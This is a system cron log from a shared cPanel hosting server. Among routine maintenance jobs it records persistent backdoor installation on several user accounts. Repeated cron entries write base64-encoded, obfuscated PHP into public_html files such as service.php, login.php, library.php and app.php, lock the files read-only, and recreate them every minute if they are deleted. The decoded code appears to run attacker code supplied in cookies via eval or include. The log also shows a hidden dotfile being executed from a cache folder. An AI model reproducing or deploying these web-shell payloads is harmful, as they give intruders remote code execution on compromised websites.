Jun  7 13:45:01 medusa CROND[27471]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:45:01 medusa CROND[27474]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:45:01 medusa CROND[27475]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:45:01 medusa CROND[27476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:45:01 medusa CROND[27473]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:45:01 medusa CROND[27482]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:45:01 medusa CROND[27483]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 13:45:01 medusa CROND[27484]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:45:01 medusa CROND[27485]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:45:01 medusa CROND[27488]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:45:01 medusa CROND[27487]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:45:01 medusa CROND[27491]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:45:01 medusa CROND[27496]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:45:01 medusa CROND[27499]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:45:01 medusa CROND[27502]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:45:01 medusa CROND[27505]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:45:01 medusa CROND[27506]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:45:01 medusa CROND[27507]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:45:01 medusa CROND[27500]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:46:01 medusa CROND[29221]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:46:01 medusa CROND[29269]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:46:01 medusa CROND[29270]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:46:01 medusa CROND[29271]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:46:01 medusa CROND[29272]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:46:01 medusa CROND[29273]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:46:01 medusa CROND[29274]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:46:01 medusa CROND[29275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:46:01 medusa CROND[29276]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:46:01 medusa CROND[29279]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:46:01 medusa CROND[29282]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:46:01 medusa CROND[29283]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:46:01 medusa CROND[29286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:46:01 medusa CROND[29289]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:46:01 medusa CROND[29293]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:47:01 medusa CROND[30904]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:47:01 medusa CROND[30953]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:47:01 medusa CROND[30954]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:47:01 medusa CROND[30955]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oe